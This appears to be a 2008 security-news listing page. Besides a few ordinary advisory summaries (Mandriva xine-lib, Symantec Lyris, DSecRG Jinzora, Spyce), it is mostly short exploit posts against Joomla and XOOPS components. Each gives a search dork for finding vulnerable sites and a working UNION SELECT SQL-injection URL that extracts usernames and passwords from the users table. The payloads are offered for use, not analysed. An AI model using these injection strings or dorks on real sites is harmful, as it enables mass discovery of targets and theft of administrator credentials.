Mandriva: Updated xine-lib package fixes arbitrary code

 ( 640 days 1 hour ago)

LinuxSecurity.com: An array index vulnerability found in the FLAC audio demuxer might allow remote attackers to execute arbitrary code via a crafted FLAC tag, which triggers a buffer overflow. Although originally an MPlayer issue, it also affects xine-lib due to code similarity. The updated packages have been patched to prevent this issue.

The Cybercrime Arms Race

 ( 640 days 8 hours ago)

(Source: Kaspersky Labs) Sophisticated groups are leading underworld efforts into cybercrime, creating viruses, spyware, Trojans, worms and other malware. These groups now even provide complementary criminal services to their clients helping them to outsmart Internet security providers and users. With little or no investment, there's plenty of payback for cybercrime perpetrators at every level of this ecosystem. Download this whitepaper to learn more.

SYMSA-2008-001: Lyris ListManager - Multiple Vulnerabilities

 ( 640 days 12 hours ago)

Symantec Vulnerability Research                                   Security Advisory   Advisory ID: SYMSA-2008-001 Advisory Title: Lyris ListManager - Multiple Vulnerabilities Author: Tyler Shields tylershieldsatsymantec.com Release Date: Wednesday, January 21, 2008 Application: Lyris List Manager Platform: Web Interface Severity: Remotely Exploitable Vendor status: Vendor has corrected products and is ok with public release ...

joomla SQL Injection(com_genealogy)

 ( 640 days 12 hours ago)

# # joomla SQL Injection(comgenealogy) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl :"comgenealogy" # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comgenealogy&task=profile&id=-9999999/**/union/**/select/**/0,0x3a,2,0x3a,0x3a,5,0x3a,0x3a,8,concat(username,0x3a,password)/**/from/**/josusers/* # SatBUN i AM NOT HACKER SatBUN

[DSECRG-08-016] Jinzora 2.7.5 Multiple XSS

 ( 640 days 12 hours ago)

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-016 Application: Jinzora Media Jukebox Versions Affected: 2.7.5 Vendor URL: Bugs: Multiple XSS Injections Exploits: YES Reported: 04.02.2008 Second report: 12.02.2008 Vendor response: NONE Date of Public Advisory: 19.02.2008 Authors: Alexandr Polyakov, Stas Svistunovich ...

joomla SQL Injection(com_listoffreeads)

 ( 640 days 12 hours ago)

# # joomla SQL Injection(comlistoffreeads) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl :"comlistoffreeads" # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comlistoffreeads&AdId=-1/**/union/**/select/**/0,concat(username,0x3a,password)/**/from/**/josusers/* # SatBUN i AM NOT HACKER SatBUN

PR08-01: Several XSS, a cross-domain redirect and a webroot disclosure on Spyce - Python Server Pages (PSP)

 ( 640 days 12 hours ago)

PR08-01: Several XSS, a cross-domain redirect and a webroot disclosure on Spyce - Python Server Pages (PSP) Vulnerability found: 19th December 2007 Vendor informed: 14th January 2007 Vulnerability fixed: the vendor did not respond, however a workaround has been included in the "Fix" section of this advisory. ...

joomla SQL Injection(com_facileforms)

 ( 640 days 12 hours ago)

# # joomla SQL Injection(comfacileforms) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl :"comfacileforms" # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comfacileforms&Itemid=640&userid=107&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/josusers/* # SatBUN i AM NOT HACKER SatBUN

XOOPS Module myTopics-print SQL Injection(articleid)

 ( 640 days 12 hours ago)

# # XOOPS Module myTopics-print SQL Injection(articleid) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl: "/modules/myTopics/" # # you can add expliot after mytopics # example /modules/myTopics/ (exploit) EXPLOIT : ...

XOOPS Module wflinks SQL Injection(cid)

 ( 640 days 12 hours ago)

# # XOOPS Module wflinks SQL Injection(cid) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl: modules/wflinks/viewcat.php # # DORK 2 : allinurl: modules/wflinks # example = [exploit] EXPLOIT : ...

joomla SQL Injection(com_geoboerse)

 ( 640 days 12 hours ago)

# # joomla SQL Injection(comgeoboerse) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl :"comgeoboerse" # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comgeoboerse&page=view&catid=-1/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/mosusers/* # SatBUN i AM NOT HACKER SatBUN

joomla SQL Injection(com_detail)

 ( 640 days 12 hours ago)

# # joomla SQL Injection(comdetail) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl :"comdetail" # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comdetail&Itemid=satbun&id=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2C0x3a%2Cpassword%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmosusers %2F%2A%2A # SatBUN i AM NOT HACKER SatBUN

joomla SQL Injection(com_team

 ( 640 days 12 hours ago)

# # joomla SQL Injection(comteam) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl :"comteam" # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comteam&gid=-1/**/union/**/select/**/1,2,3,password,5,6,7,8,9,10,username,12,13/**/from/**/josusers/* # SatBUN i AM NOT HACKER SatBUN

SmarterMail Enterprise 4.3 - malformed mail XSS

 ( 640 days 12 hours ago)

Product: SmarterMail Enterprise 4.3 Web product: verview.aspx web product demo: Apparently this webmail is vulnerable to an attack xss very dangerous because it runs automatically when you open the inbox. ...

joomla SQL Injection(com_formtool)

 ( 640 days 12 hours ago)

# # joomla SQL Injection(comformtool) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl :"comformtool" # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comformtool&task=view&formid=2&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/josusers/* # SatBUN i AM NOT HACKER SatBUN

joomla SQL Injection(com_iigcatalog)

 ( 640 days 12 hours ago)

# # joomla SQL Injection(comiigcatalog) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl :"comiigcatalog" # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comiigcatalog&Itemid=56&act=viewCat&cat=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/mosusers/* # SatBUN i AM NOT HACKER SatBUN

XOOPS Module section SQL Injection(articleid)

 ( 640 days 12 hours ago)

# # XOOPS Module section SQL Injection(articleid) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl: modules/wfsection/print.php?articleid= # EXPLOIT : -9999999union/**/select/**/char(117,115,101,114,110,97,109,101,58),1,2,concat(uname,0x3a,pass),0,0,0,0,0,0,1,1,1,1,0,char(117,115,101,114,110,97,109,101,58),0,0,0,1,2,2,0,0,0,2,2,2from/**/xoopsusers/* where pass admin # SatBUN i AM NOT HACKER SatBUN